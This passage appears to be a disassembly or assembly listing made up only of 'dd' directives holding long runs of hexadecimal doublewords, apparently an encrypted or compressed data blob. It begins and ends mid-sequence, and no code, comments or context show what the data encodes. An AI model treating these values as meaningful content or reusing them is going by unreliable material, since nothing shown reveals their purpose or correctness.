575141FBh, 0B980407Ch, 6A85CEC6h, 6E3EE5ABh, 0B42E01C5h dd 72070558h, 91028862h, 90F1FBB8h, 300B8F2h, 9EE45E12h dd 74788Ah, 0A57C1E7Bh, 0DAEF8C34h, 6F10350Ah, 0D424FC90h dd 0EBA8482Fh, 2D58057Ch, 40B421BEh, 8B8407B4h, 0A400FF9Eh dd 29147D82h, 256D077h, 26F3BCC7h, 5E23457Bh, 0DD44C0CCh dd 404900F0h, 0CE8402E8h, 2E0214B5h, 7907A622h, 0A47B241Dh dd 7E0736D8h, 0BE6EB8D7h, 0BCF03745h, 0E8F231h, 0E6AA796h dd 83CAA013h, 0D39BAB03h, 0C58125CCh, 0A9E70403h, 85100080h dd 0F9CFD972h, 6909C8A4h, 0EFC2A1h, 0E6CDF1FDh, 4F3E033Fh dd 0D09E41EBh, 523C3AE0h, 48DE66B8h, 55673801h, 57F42679h dd 9DAE0F20h, 0EE6641D0h, 811B40E0h, 3A3140D9h, 0CD061A70h dd 20DAB64Fh, 333620Ch, 659025h, 0EC612BBh, 47B0B174h dd 9C829000h, 536B3EFBh, 15450142h, 0D5B8C237h, 8617E46Eh dd 32FD0B0Eh, 2051E167h, 44437F3Ch, 6E510662h, 316905B9h dd 4F3A0D06h, 0EC80E24Ah, 0D942075Fh, 0C347D09Bh, 180ED636h dd 0F0325080h, 45BF0204h, 0B27400E4h, 5D1FAF4h, 466FCCC7h dd 669421E7h, 0CD308CEBh, 60B26472h, 0BF3B1035h, 0DA6CBA11h dd 0C5DB6470h, 24C2D918h, 0C046ECCh, 10C25D9Ah, 0B8455133h dd 50F964F0h, 11A9417h, 25CBD3E9h, 4054C719h, 3AFD3380h dd 67CA8E06h, 422909BBh, 56CE11C5h, 44F1887Eh, 0C21E8E92h dd 421FF30Eh, 0D170A43Bh, 47EB803Fh, 0B6BB758Fh, 3F4C7991h dd 76060CBCh, 11508837h, 3677C300h, 5442FE27h, 0AB8E00ECh dd 891D3E22h, 2A000E1Ah, 7750C62Eh, 0FB5FB9h, 3ED41B71h dd 24EB39F8h, 9CA9DB01h, 2C5AE176h, 3BAC9DD0h, 8E80F1A6h dd 1A0B1E39h, 4C00565Dh, 0B16588AEh, 58F44D72h, 3500BF68h dd 0D006F337h, 1900A129h, 925E80FBh, 1F4BEA8h, 0BAA99A45h dd 50F6B651h, 409796B0h, 65E5B204h, 3A80B78Ch, 0C0A25F8Fh dd 2B031F11h, 3607E0D8h, 0DBDDCC31h, 3C87E34Eh, 0E20EC826h dd 0F8D4A8D4h, 2F9A0305h, 0ADDCD820h, 4700C976h, 174F8027h dd 0E5F4D4h, 0B8ABFC95h, 3AEDF03Fh, 853042E0h, 4CBD6108h dd 0FDD200FAh, 7C3601D6h, 0B77D7FCDh, 8E3F500h, 34AE2550h dd 940300FFh, 0F090AD81h, 7A002875h, 0ED57B3DAh, 3902BF8Ah dd 2FDCA49Ch, 6F64FD00h, 0EADA7FC1h, 93E54B00h, 9AF5BCA0h dd 0DD5D0022h, 0C0A7041h, 8500CDBBh, 0AC11518Ch, 0F9B6176h dd 5B191D03h, 781B30A0h, 0A150842Bh, 383917BCh, 0B9989C7Ah dd 0E5744700h, 917397h, 0B3DD5484h, 0AE64F148h, 80088F3Eh dd 0E94B1830h, 483106C4h, 0FF002434h, 0A146B0A6h, 0BF008678h dd 6110291Bh, 98110609h, 0F33100B2h, 0F25DFEBCh, 0B300587Dh dd 18D1AB5Fh, 15A053AFh, 0E8A91F57h, 0C95A0071h, 941AE643h dd 0B13F05B2h, 1F91BCA2h, 39004767h, 52EE383Fh, 4E56006Ah dd 0C024D8FFh, 0B07C0702h, 2A0AD3FAh, 0EC20DF92h, 0BE53A200h dd 0D621A3h, 51A4273Ah, 0D81D9F82h, 52C63050h, 0DCA08300h dd 9D17BD93h, 5198E0ABh, 0CF941Bh, 2A189711h, 0A8510A73h dd 28CEE48h, 15324276h, 0CC62E066h, 381E1414h, 6D24FB7Ch dd 2FE18940h, 0C1B32420h, 0B500A018h, 0B1CD156Bh, 3AA668Ah dd 8D506841h, 0A4F8A1DDh, 0E1F23C62h, 861AF41Eh, 668BB580h dd 0D75D0h, 0DB148991h, 8CC26B2Ch, 38DE7703h, 0F0904402h dd 50549Bh, 9DCC175Eh, 0F8110980h, 0FE95EC00h, 7B1964ADh dd 0A2433EF0h, 9AD17680h, 0D538FB26h, 1600ACEEh, 4C1F7D75h dd 0E8028877h, 1C7A00F9h, 9F894BF7h, 6700F194h, 0D936A85Bh dd 2809BA70h, 0DCCC40h, 190DAA31h, 988C28B2h, 1100ACF0h dd 8A26AE1Dh, 2A9339Ah, 197F1A08h, 0BC40E114h, 0AC066D8Dh dd 30FD1399h, 0AB6C0F10h, 0C460E098h, 0AEE1EA3Bh, 1D9CFCF7h dd 0CC86321Eh, 0F9E46180h dd 3DA34EA7h, 6D00EDD6h, 9DE1F17h, 633D8230h, 0DCC580FAh dd 6C71A37Dh, 238A3DCEh, 9C33B9Ch, 18A18F7Bh, 0B19ADEh dd 864A48h, 0C67F32DBh, 0D7FE4574h, 0A690E600h, 0BA9FF6Ah dd 1EB5FAD5h, 0E4894A2h, 0BFC007BBh, 131C4003h, 0A6064400h dd 32998705h, 5DD400D9h, 1EB0B91h, 37B2DCE7h, 525A5600h dd 86EDCAF5h, 7FEA0034h, 85B767B4h, 0B502756Dh, 0D5D783F1h dd 288A6188h, 1C48D9E8h, 1893E05h, 95CB92F3h, 128AD054h dd 7F70C900h, 0AD4DB28Fh, 11F900D7h, 0C5252CFAh, 13E672A7h dd 7F181B00h, 0FCCC6A50h, 93B40053h, 0C3278DBFh, 0F300D128h dd 77A31652h, 0F0DE58C7h, 77547h, 3FFF8178h, 44691839h dd 0B841F901h, 163A0A0Fh, 1E8CF6D8h, 839EDDC7h, 655A96CDh dd 0B0C06CB8h, 0E300CCFEh, 0BB9A6861h, 4B2B3EFh, 302B7383h dd 94038003h, 0C85887D2h, 0A74C0E53h, 883140B0h, 4D83E7CFh dd 0C904C839h, 8148E9B2h, 64C5FEA4h, 33005BA8h, 0CD7547A0h dd 9A8B87Dh, 9A78ADE3h, 0E40CC0A3h, 341EE9A1h, 0E11EA710h dd 3C08E59h, 0ACA17529h, 188F00ABh, 5B5EFBDh, 910E3884h dd 0C077E832h, 69727937h, 2A6A6768h, 801A93Ah, 0D8EDC5EFh dd 0F5002B33h, 0D87B524Bh, 3ED480B8h, 348FFAADh, 57AF1F99h dd 8C03CB29h, 4D81BFE5h, 0C578F81Eh, 441E604h, 688019B1h dd 1BE98C6h, 7D534E0Fh, 70ECA5D0h, 600C2690h, 11A1DFD5h dd 0D46F0329h, 7601D02Ch, 0E98C80D4h, 4A0EE831h, 64CC1h dd 0B88F9C44h, 6BC7165Ch, 0CDAC00C3h, 3E87756h, 93C674Ch dd 0A0C0FFA6h, 5DFC924Ch, 0FD663E40h, 12DFEF12h, 0A1C00A0h dd 2CA9B8C6h, 0C13DD503h, 0D8FB615Ch, 0BB6AE5h, 0BD74EDF3h dd 7EECC366h, 1DBAC004h, 688494E2h, 0E79ADC40h, 74460FBh dd 38DF6E6Ah, 6B8C30FAh, 0FD006448h, 8FE0C7EEh, 2EE6671Ch dd 200AE7EAh, 0E19D01B8h, 6966D3E2h, 0C490C975h, 3F009FF5h dd 0E3C6802Bh, 5D6C04B9h, 7FAC84h, 9B9723D3h, 6BB034FFh dd 0CDB10812h, 4735B000h, 0B5046Ah, 3F88EFC9h, 0C76E6849h dd 3DC2359h, 0B97077BEh, 4EF9C025h, 0B53F01Bh, 0CFC6A3E5h dd 0DD4D4820h, 0FE00543Eh, 0EE55D2A0h, 4A5D191h, 0E6BB72A6h dd 0F9CF864Ch, 1C9EA228h, 0C1935103h, 0A5BB536Dh, 0C4B2C72h dd 5407BC39h, 4CBB68EEh, 6B701740h, 634903F0h, 628FCD9Ah dd 6773D1A0h, 0FDA2161Eh, 0C12F0282h, 837461EBh, 5AFC9DE9h dd 27E7B41h, 0D2E663F2h, 0BD807F4Fh, 3381FFF5h, 91A36A00h dd 515A48C8h, 41DE004Bh, 9DCF0258h, 25E8BF07h, 0A0EE3A07h dd 0C04484A2h, 0F26DB890h, 7E123039h, 3A7C54CAh, 0CDA26A01h dd 4FA9A5EEh, 0C85085F5h, 0CA0FF80h, 0C30E018Ah, 9B00E741h dd 2BCCC783h, 1E92F937h, 40278453h, 99CAA04Bh, 0AC4AC8BBh dd 3CD6800h, 3334F8B9h, 6C40227Eh, 983014C3h, 0A6392220h dd 0C94C7A4h, 29D72602h, 7EB96200h, 0FA6CBDD0h, 74D67C4Eh dd 89B560B0h, 0D9BCAB89h, 0BCCF3D2Ah, 0F39AA000h, 55BDE039h dd 5CCE0079h, 3A2D980Bh, 0C903A346h, 25C70C62h, 0FAA7A004h dd 0FC4F30BFh, 1BE6CAE8h, 68CC08C7h, 0E0C6C7B3h, 33E7CB9Ch dd 1A18867Fh, 8C81D0FAh, 844B4E19h, 20E133BEh, 880DECA4h dd 0EA88CDE9h, 43FD894Ah, 48842114h, 4C3B42C5h, 8E520924h dd 10E2B200h, 0C45DBFEEh, 16680060h, 342571CCh, 938626FAh dd 9F199D30h, 98F7F27h, 40603FC7h, 58A43ED8h, 523D004h dd 0DCC0439Bh, 71970811h, 0D4A50C48h, 8119DEA0h, 5057F926h dd 0AA1A4D00h, 7EA66176h, 0CBA71C65h, 0B973C083h, 4BEE8B34h dd 0B3D32C0h, 217FB0h, 0F0B2FD46h, 7DBE1008h, 5385F600h dd 9910E69h, 0B35B1741h, 486400FCh, 0C0F3D2FAh, 887C0D01h dd 0F9AF4E47h, 0ED4E3E4h, 46319655h, 0DD41FDC0h, 0FA016258h dd 0BA69E20Bh, 3DC47080h, 0C3BE1C53h, 9DB94049h, 3C13AFFCh dd 1A008492h, 0C4E37A18h, 15CEFEAh, 0F5E79B8h, 0F4E5C8E8h dd 5F03476Eh, 67E69D0Eh, 0DE9A906Dh, 1DEA07E9h, 0CE536560h dd 1020F2CFh, 0B01F740Fh, 802D4Ch, 96843863h, 54E39498h dd 2612C469h, 8EEC7F3Bh, 8B80C5BFh, 3531A221h, 0D3179300h dd 59CF7D4Ch, 0E0BEE28Dh, 5A6A07C6h, 50D5D8D4h, 9B4A525Eh dd 54DF5Ch, 0E6793C1Ah, 4ACB8C2Dh, 0D2080A30h, 40B100B7h dd 0C44DF084h, 5B500200h, 339FFE53h, 0D1BA09A3h, 1CA0BCE4h dd 7A1A5A04h, 46302F12h, 62B31047h, 3A1F37E0h, 599D00EFh dd 0DC1C6FBAh, 7900F13Ch, 0B8FB2403h, 1FCB14D6h, 0D707D116h dd 0AE410657h, 2100E062h, 0B69A017Ch, 7F0213h, 84427E4Ah dd 3EC3FCCFh, 4B414E06h, 319B5Ch, 84F58B6Eh, 170854C8h dd 80C9463Ch, 185A6DBDh, 3031327Ch, 99A06644h, 242EFA9Ah dd 771DFB2Fh, 0A0788D0Eh, 86814CB4h, 6DB33769h, 0A79212A8h dd 0B7ADCA40h, 45D2A22Eh, 91E3813Bh, 0CD82E5DAh, 0E0E80073h dd 7240008Eh, 0F78BDA0Dh, 50E973Dh, 0CF525C02h, 0B8D160FDh dd 0A4E597Ah, 0FCE3CEE9h, 21630092h, 142F1022h, 590058ECh dd 98F8A455h, 27ED5Dh, 2FCE177h, 0D7B5A1BDh, 25D6D900h dd 0E81B642Bh, 9A20C016h, 36B9B66Fh, 3E101760h, 0A88FBDh dd 0ECF5C9F8h, 0C2FAC8B8h, 87F2801h, 0B366738Eh, 0EA862870h dd 3AF0149h, 98E5802Fh, 0F69C2082h, 149EBB2Ch, 330A1600h dd 3939D94h, 10141FA8h, 0A08F9A31h, 924B68ABh, 4D04C678h dd 0C9163C11h, 49966C80h, 1539040Dh, 8641DCCCh, 0C63C627Ch dd 0EB19933Fh, 0B2A47440h, 0FE4147Bh, 65938934h, 4C600709h dd 64009286h, 0F2DD08B3h, 2763BA4h, 0B74DE6CDh, 0ACE8F35Bh dd 0AD7C07A6h, 92B0F600h, 0A2CA06D2h, 0D1D50A1Bh, 12887F9Ah dd 0EB62004Fh, 0D8280133h, 0E3309012h, 0DB7B98C1h, 0DD00303Dh dd 6369FA97h, 3503782Ah, 3888612h, 4386007Eh, 0C92106E9h dd 0A91E8B70h, 2F00F544h, 0CA297EC7h, 0A3A60096h, 0F7C6BFCh dd 770E5718h, 0A12AB78Dh, 746A35DCh, 39DD1080h, 0C6785FDAh dd 0EA998600h, 0B95534A6h, 0A0B273h, 0F4FD350Fh, 0E51FD546h dd 9C98E26h, 0DC7814h, 0A60DAC1Bh, 1FCE253h, 58356F4Dh dd 30EEEA28h, 4535F249h, 0AC004823h, 8E29AB56h, 0BC3F2D21h dd 4400B470h, 0C63D27F0h, 485B7Ah, 7FA58BF7h, 0F1D8F3C5h dd 0ECC35300h, 7950E564h, 227007CFh, 854683DBh, 3E4480E6h dd 8B24EA3Ah, 78248054h, 5FB95C80h, 3DFBDDh, 0BA76A209h dd 0CFC8042h, 1CCE3300h, 905FAD51h, 1D71BEh, 80D32C15h dd 0AF91EC45h, 34090626h, 5B52200h, 9F5A54h, 71D2D5EBh dd 0E0231C2Bh, 2672D4A8h, 64407F18h, 7E1378h, 776532E7h dd 0B9D3925Fh, 0ACB4E502h, 72FF40FAh, 34E813B8h, 0D380405Ah dd 93EA498Dh, 94E208FEh, 48133700h, 0B1067516h, 0A99C00AFh dd 0DB1DEF62h, 7C3FE3F7h, 302E00CCh, 70BC87E1h, 9BD00077h dd 99932CEBh, 0F8009EB1h, 39175795h, 5AE37819h, 9F9900F5h dd 15B234B3h, 273CC973h, 0A528168Dh, 0D4A01A00h, 4C979691h dd 71B684h, 0F3EDEC0Bh, 8A787ED7h, 3819E200h, 8C45FA99h dd 0F0BA29h, 1509A62Dh, 9C902CB6h, 0FC9CA8F0h, 209E2A0Eh dd 1614A52Fh, 815007Bh, 991A05EDh, 6E008841h, 0FA65C976h dd 2F6A106h, 0B96BA74Dh, 6860E2FEh, 4326B851h, 80398C1Eh dd 9DF9B190h, 1E704CFFh, 85AAB2FEh, 808388A5h, 0CC878534h dd 5DBFA780h, 6D034CC7h dd 0D3B902A3h, 0ADBE111Eh, 0E09D3ECAh, 0FBE7E000h, 48A70E1Bh dd 0F8072AC4h, 37BAD37Ch, 7DD9805Bh, 307B0FB9h, 2313FB00h dd 6E5A6F12h, 0C024030Ch, 0D6E5EB29h, 0BE077908h, 671489C4h dd 0F97C2C00h, 8492B3D8h, 0CEF1CC5Eh, 2629EEE4h, 2C685Ch dd 28E9E8E2h, 0FEF37667h, 24A08058h, 0B9035E74h, 3FC0FDCCh dd 0BB5CC04Eh, 1DD4F0CAh, 0C0723303h, 48179CE5h, 0AD00217Eh dd 7A6991A2h, 0CBAF0Dh, 37038BFBh, 0EE5CBCC3h, 39F06802h dd 52604E2Ch, 340432D0h, 3859B420h, 0E21D7E1Dh, 443E0149h dd 45CF018Ch, 47A6A5CEh, 649DD0EEh, 4A1F3200h, 977889Ch dd 1ECF001Ch, 60289FF4h, 890AEC53h, 9082FA18h, 0C1A3013Ch dd 21A0CE02h, 1875984h, 470CB436h, 53A5C600h, 0D26EBBC8h dd 54B90F69h, 0E70275EEh, 0AC59044Ch, 8BC8C710h, 8093C90Eh dd 3E034D60h, 0CB82079Ah, 90EE8026h, 1C027BA6h, 0D09DA200h dd 1B3C7EC1h, 510B60E6h, 0CDE86A45h, 0F4B67607h, 79A06CA9h dd 55668Dh, 0A5DF9AD7h, 0F625AB36h, 0F0039C07h, 0C1A038B3h dd 0CF2665h, 0F99C5E2h, 0B13AC7F2h, 762DCB18h, 775CC930h dd 17651FD5h, 108D6541h, 0EB040BB8h, 0BD855303h, 0ACA39AEDh dd 86B2180Ah, 0E71CECA1h, 0CCC78D47h, 0DA4F47F0h, 48FEEA3Fh dd 0B30C04C8h, 0DB29BFC3h, 51F72284h, 0E311EA42h, 8CF21BDh dd 0D6905220h, 48BB2A84h, 54164223h, 8421C224h, 8C1711B7h dd 1259C411h, 0B5BE102Eh, 0A2080B89h, 841A5D44h, 9E4C3910h dd 0A2397F21h, 11064264h, 53214885h, 9066EC08h, 498B8472h dd 21444748h, 0D2135E22h, 8BBB2247h, 2469ED22h, 45DF214Ah dd 9B25AF12h, 34A800A3h, 98970086h, 0D927B594h, 7500C2CDh dd 74E059A4h, 37BBADDh, 885F583h, 0C6D07D1Ch, 8401885Ah dd 6C253D12h, 5B70B798h, 723500F2h, 0CD02132Dh, 0C50045DDh dd 0B1662542h, 0BEB7CEh, 4A270F1Fh, 5B085639h, 17043300h dd 9725F62Ch, 496900E8h, 18FEA64Fh, 0DB075A4Bh, 32950C3Bh dd 0A17BF8A0h, 44143F7Fh, 50F40781h, 96FD9F7Ch, 2F024248h dd 49FF70CCh, 7C7CE078h, 0C0796F85h, 0AC8B8208h, 480BF100h dd 0D5D9BEB6h, 0B8EDE60Dh, 416B0010h, 0FDE3525Ch, 0C7006E4Ch dd 58823AA7h, 39733h, 0D408237Bh, 1538D7A0h, 2868CF60h dd 1062C96h, 8EAD5E1Ch, 0E02FCD9Eh, 92044920h, 28DCA78Dh dd 0BCEB8A0h, 0CD72AD66h, 59D28303h, 17813BC0h, 0A62CD17Ah dd 2B00AC80h, 31141A3Fh, 0FFE5009Ah, 4B535E66h, 3B3DA3A1h dd 0B5E70048h, 0E093C756h, 82F10057h, 300822F7h, 25003C1Bh dd 9ABD7A85h, 3C40A6Ch, 43032A68h, 0D6D875B6h, 71007830h dd 0E7BE5714h, 12CB849h, 0BAF91610h, 7E820A9Bh, 0A2DC59C0h dd 0C33203BEh, 0AA410E59h, 1FF1F001h, 9C6A6B34h, 11EBFC40h dd 76770020h, 0EDE8B99Ah, 6816211Ch, 16015F3Bh, 4A6685DEh dd 0F95424h, 556A81E2h, 99A9FE4Fh, 196FA600h, 8AF0E744h dd 0DAB83891h, 373E2681h, 70095776h, 0AF2EF65Dh, 84B83C3Ch dd 2A61A5A9h, 39BC24A0h, 0EA015BBDh, 3684ED31h, 9CB828E5h dd 0B3698700h, 17A6FC92h, 9480BAh, 42FB4CF4h, 0B9046D76h dd 0E11D5FC1h, 9146DCA0h, 61D18088h, 7A6F0BB6h, 0EE222A07h dd 34208E96h, 30473581h, 2A0086Eh, 63F62E99h, 3C7D0B79h dd 0BDB5A10Eh, 64EC045h, 35CE611h, 0C962EFDEh, 0AFB8B88Ch dd 28C345F9h, 884E5864h, 0F72FAAh, 0E177FF75h, 0CA6FD026h dd 0A68E3607h, 0B770F6BFh, 90F8E0B6h, 0F53200B0h, 4FF70111h dd 0BE0E4783h, 60B8CCFEh, 1FB1E609h, 0FF6A03E9h, 0F5C40B59h dd 521736A8h, 0B83D7B79h, 378A00B5h, 0AF1E1CADh, 0CC760326h dd 694D518h, 9DE4D7C8h, 56E9FF0Ah, 0A6018CC6h, 6C70925Fh dd 90FB66D8h, 4CF50F18h, 0D9462C48h, 4D00A4D3h, 64EA5EA3h dd 67554C9h, 0E0DF5FECh, 0EB501168h, 0CC903F84h, 8E9C0C0Ah dd 0D600F8ABh, 0E47F175Bh, 0E4977BECh, 83F98854h, 8024F325h dd 0A10F650h, 7D2B00D5h, 0CA6D74A2h, 249C15F5h, 0D19BF901h dd 7C281D8Ch, 0EB5D45C0h, 4D01514Bh, 0D7084AC9h, 4CDC9607h dd 30D90088h, 0A682C87Dh, 0BF00DDCCh, 75C42E04h, 2E0C51E8h dd 4C353BEh, 81CCCD0Eh, 30EB83B4h, 2600178Eh, 7134F5ECh dd 10862Ch, 41889A44h, 0C5D4CBB9h, 0F22DE00h, 1EF47F11h dd 0FC011304h, 94CD0033h, 0EB9F55A4h, 69361B13h, 0AFCDA440h dd 7EDAA1EDh, 6CE68163h, 94320378h, 0B8A02980h, 114BA11h dd 9E05A498h, 0E9BC1323h, 0B20D30B3h, 4908AD00h, 0D38235B6h dd 4AA3032h, 31D28511h, 1D077B78h, 0AEE1DA62h, 5A7464B2h dd 689D0014h, 0EB71440Fh, 8D54158Eh, 210170ACh, 0C27BCA08h dd 4020E1C4h, 85410056h, 3DF8DCB4h, 0CC0001D4h, 0C0921CBh dd 3FACFB03h, 7D809DE6h, 0FEF34727h, 11004A36h, 6D72A331h dd 0A41FCh, 0B378590Dh, 3BF0240Fh, 76641F02h, 408D81D0h dd 19E0438Ch, 0DE476BF3h, 8D9F3DFh, 761180E3h, 31745D17h dd 0A61B1C43h, 0B96E4FA7h, 0F1975EE0h, 2D786548h, 5537D203h dd 3CB917Eh, 42254438h, 11004EEDh, 0B39F3D1h, 12C9361Ch dd 4F6949F6h, 5FA2A890h, 60606597h, 0A138DBC2h, 85A8021h dd 0D9B4C932h, 9090C8h, 1F02EC16h, 6C965D9Ch, 89946848h dd 0FCAC98BCh, 1ACF0030h, 0E5C47933h, 4F180EBDh, 0BC113710h dd 94E790Fh, 9EDFAD76h, 0B64A9000h, 1A005A06h, 9D61B3B9h dd 588C94h, 18F24940h, 2416D839h, 0B8027976h, 35C295A8h dd 0A7984042h, 885B0403h, 80986A90h, 0ED33D470h, 0B50CA800h dd 76040E9Eh, 1EEF3050h, 0CC8025D8h, 8042CA39h, 0B7A8286h dd 3DB1BBBh, 45554CBDh, 0A8E8CE04h, 0F400ADABh, 391E3629h dd 0C2092Eh, 9AF9B39Fh, 732CA3B2h, 0D8BD48h, 0E4E1F494h dd 1601DBh, 555976C1h, 0C622A93Dh, 5C5A6500h, 28F0A654h dd 9B8D0016h, 5B795642h, 600B386h, 3B4F5A53h, 30EA32A7h dd 0D684878h, 0CB00BBDDh, 93575DB6h, 0E164FEh, 7572139Dh dd 5E556FAEh, 0DCF358C0h, 0DF47F5h, 349EF7Ah, 7BBC69B9h dd 80D9DD01h, 0C3064BD3h, 9BD3DD4h, 699287CEh, 17830A00h dd 0E4F51B47h, 0E300F2BAh, 643E08D4h, 37E59Fh, 8261CFCDh dd 0A8B45A88h, 18FD7800h, 0F6BB30BAh, 0E4ED243Ah, 923901E0h dd 0C04A6135h, 0D93DF0C4h, 0A60501F5h, 0DBF2C27Eh, 7D450C9h dd 294D00D1h, 0A2D2D669h, 4A3052F3h, 0F2A51125h, 679B0951h dd 0E02182BDh, 57C455h, 0E6E58C7h, 0A13718EBh, 0DE10AD20h dd 6D58A3EAh, 22340128h, 0C824FC1Dh, 0F7502E8h, 1AD736CDh dd 7A3CB8A3h, 0B410BAA0h, 6E86800h, 0D24BBBF4h, 0B3660035h dd 0C4ACA005h, 0DC0050C5h, 2A11CB60h, 0BB1DDAh, 90537478h dd 0EA8BE6CCh, 3FF20A00h, 0E3DBD219h, 40610EA0h, 0DD2035D8h dd 260AAA21h, 0DCD358h, 23E8F7A4h, 56C0F60h, 7271A817h dd 7E64C03Ah, 6B03DDD9h, 11602108h, 54FEA136h, 7FFBECh dd 0C6E559D0h, 2070EE5Bh, 12AEC303h, 0B01B48F6h, 9CCCAAAh dd 4F1E3C76h, 0B08B8901h, 2B12DC17h, 91939C00h, 131B1DBEh dd 0CBE93A2Ah, 0F4392Ah, 0C4899BDh, 8ECA1731h, 4B94C600h dd 0CC52C05Bh, 0E807939h, 96984CBFh, 9D709057h, 0EF0090AAh dd 0A051EC7Eh, 1F63D8Bh, 7867D0D9h, 0D4E005F0h, 63003358h dd 528F3C2Eh, 55DC198h, 8AA787CDh, 64B4004Fh, 1D11C373h dd 65D22700h, 7E88C121h dd 48A60041h, 36F14FE1h, 3F0096F4h, 0F949B5D9h, 5A29AAh dd 0C559CCD3h, 2A3DEC79h, 0FEDE0D00h, 0D9725C44h, 117F0054h dd 0C4883C3Ah, 7F80F14h, 0FDD39800h, 916E6A93h, 4C9D1CA2h dd 46F143ECh, 0E0BA0DADh, 634BC480h, 9A1FD596h, 0B7008EE7h dd 2AB58B2Bh, 70978A2h, 503FD815h, 60BAD055h, 0FA00733Ch dd 51CBA533h, 0B1C65Bh, 8CEBBEABh, 2FFC2BD1h, 0F4F65800h dd 6318A242h, 0DDE60201h, 7D19D2D3h, 5AFCF4A1h, 23A8DB53h dd 67006B5Bh, 76699CE4h, 7A1DB6E5h, 6CB303ECh, 6352D946h dd 0B4EDAEE0h, 3D812516h, 0BE3FF400h, 286F3C0h, 3B044CC6h dd 60F8CEBAh, 3C054B00h, 250C18F7h, 0D22060C1h, 3D7D9EB0h dd 0FF77357Bh, 4493AB01h, 150209BEh, 1D94E7D4h, 53B7AE51h dd 2A0200FBh, 5F62F62h, 0B01D4Ch, 2B336196h, 78AE713Ah dd 9BF222h, 0B19AE24Ch, 97403854h, 4BF641B8h, 3F32D600h dd 0F8317E56h, 892C3A0Fh, 3E9F0980h, 0C78F4A79h, 0B062363Dh dd 220708F2h, 0C07600C9h, 45428D1Dh, 0BD004CA2h, 7736FAFFh dd 7CBC4D16h, 9AB86753h, 2231900Ch, 0A81D9115h, 0CBE88BBh dd 1090BC7Bh, 0D36A000Fh, 42AB3F10h, 1E01F2A0h, 0C8C76FE5h dd 7EFCC1AEh, 7C1DE0C4h, 4F46003Ah, 0EBC93949h, 0C8001578h dd 0EA8ADCE4h, 6129DECh, 0F6A460FCh, 49E480FEh, 882A6500h dd 0DABE2CBh, 0B1D4004Ah, 0BE32B34Bh, 954B196Ah, 0F3E52880h dd 561700C0h, 0CF8F5878h, 1300DCF5h, 8D5D8652h, 0EDDF0D1h dd 0D4731F14h, 4369DAA0h, 0E900585Eh, 75CED5C2h, 2535957h dd 0A2E5ADEAh, 0D880136Bh, 0B99586FCh, 826C229Dh, 0C214001Ch dd 8A487A0Fh, 0D0FC0FA2h, 803FEECBh, 82DB191Eh, 0CE131807h dd 613B1191h, 108E3200h, 0CF8A169h, 348B4ADh, 7AF11F4Ah dd 0A0FC23FBh, 2F078354h, 69677437h, 0EAE7A810h, 0C93405E5h dd 0E47BD230h, 3B0A0C7Ch, 9C5FBF82h, 66C802Dh, 5C73C220h dd 0C900BCEAh, 1C0D68F8h, 5E00487Bh, 0D86ED6EBh, 0C1568D90h dd 0DB822580h, 6882CAAh, 6631C014h, 54392789h, 0E0F870C2h dd 0D538DE00h, 8DC5295Bh, 8298009Ah, 14EAB369h, 6F00591Ch dd 61548AD3h, 908B83FCh, 0DBF4EB77h, 8D841302h, 93AC88A3h dd 2FA16040h, 0FC007AACh, 0C75EA71Ch, 0D8F9D300h, 966CB26Dh dd 2CB8B1h, 865304D4h, 0FAD6875Bh, 5502D700h, 79B85885h dd 42911EEEh, 0F3CE0097h, 9FA5EDE7h, 4A049198h, 2568FBEFh dd 4913E4FCh, 5B30076h, 1F84DBD4h, 0D270590Eh, 48E7608Ch dd 0B49DC0h, 0DFB9907h, 5E45BA14h, 0CED39700h, 47CA50E3h dd 7E44043Eh, 0B916D7F2h, 0AF59005Ch, 0BBA30EF0h, 96CE1F63h dd 1945C0C1h, 0BC48EE38h, 0BD6C7F03h, 0D0E8D9ADh, 742081h dd 8A88A689h, 0EA15CA09h, 0E0B1F627h, 0BB2270h, 0B5AAB214h dd 34E41003h, 8A31700h, 3AA0F031h, 15E200D5h, 58F56A1Dh dd 0E679791Bh, 45039500h, 6110E03Fh, 0B0FB054h, 8849D5A6h dd 0EFD1980h, 0AE0116EAh, 4ED49E85h, 0CEDC9748h, 0B25900D2h dd 0C181BE64h, 54003D82h, 1A5AA7B1h, 0E76482Ah, 0BC85BB6Ah dd 0C5D2CD80h, 71000DDEh, 0F0CF4011h, 42C08Fh, 0CCBA0B0Ch dd 0D4C89284h, 0A970BF00h, 0A731DD73h, 0BCE008h, 7DC3CF55h dd 5FADF342h, 132F1F00h, 0D937CD6Eh, 6F110072h, 584724B7h dd 4F26E69Ch, 25006C88h, 8BD479EDh, 0CDF80BAAh, 5A807219h dd 0C6A70D1Fh, 0B85E532Eh, 4FF8041h, 1696C4h, 0C6ED6641h dd 7704CC1h, 84CF4600h, 1A56C493h, 5BAC396Bh, 7A1F1700h dd 59EF3EC3h, 0FC232B00h, 7BA40B3Bh, 0D94300BDh, 7D0C44F4h dd 59C0C5C8h, 55627156h, 140DF5Ah, 30753865h, 6E2180BDh dd 0D2C46B2Bh, 0A43E0125h, 176F0111h, 0F908603Dh, 7784CE00h dd 72A040F1h, 0C07E0069h, 7F102914h, 5500BB90h, 0FF2442ADh dd 65D8F45h, 0DBE48CFBh, 0C9FC705Fh, 0C4808A00h, 811A7F49h dd 0A6C5301Bh, 0C6CA2839h, 0B7603Fh, 0C2C9B1Fh, 0C1B31877h dd 4A196521h, 54E040BDh, 0D8016328h, 0C966251Bh, 1980AD7Ah dd 383B7378h, 26001AF6h, 96E7A551h, 25485EA9h, 1840D0AAh dd 1B3DE492h, 44D4CB56h, 410FBCC2h, 18801A40h, 9C16BF12h dd 4E009FA0h, 0CE7AE1DCh, 18777FB0h, 0C4B51455h, 0C7005BC5h dd 0C2980575h, 896F57h, 2C97B1B2h, 0D55E2701h, 0AB712E00h dd 4EE411B6h, 0DF7E0014h, 9D82AF09h, 0F1076ADCh, 4CB78339h dd 0F0E8433Bh, 0E79155Bh, 0EB07CDE0h, 4B0F8F40h, 924C1352h dd 44C5007Ch, 2BDC9B94h, 382013D1h, 8AB00EBh, 6CA20230h dd 2599A300h, 0C2D12F3h, 50751EBBh, 0D4A80056h, 9AEE3593h dd 7A71F462h, 0E438215Ah, 1843847h, 0C04EECCAh, 0A03C285Ch dd 3D423180h, 2CB0A92Bh, 0C83F1D00h, 0B1998708h, 0EE2458FAh dd 0CEA31307h, 0F1B9F0A7h, 4B5C98E6h, 16D33FF8h, 0CE0AD87h dd 7B3F26F9h, 0ED910398h, 76C0250Fh, 52E237EFh, 0E9B65502h dd 0E4EE2974h, 0AE9A003Ch, 914BF292h, 0E9007BAAh, 8BD2F9B4h dd 1B6431h, 39156043h, 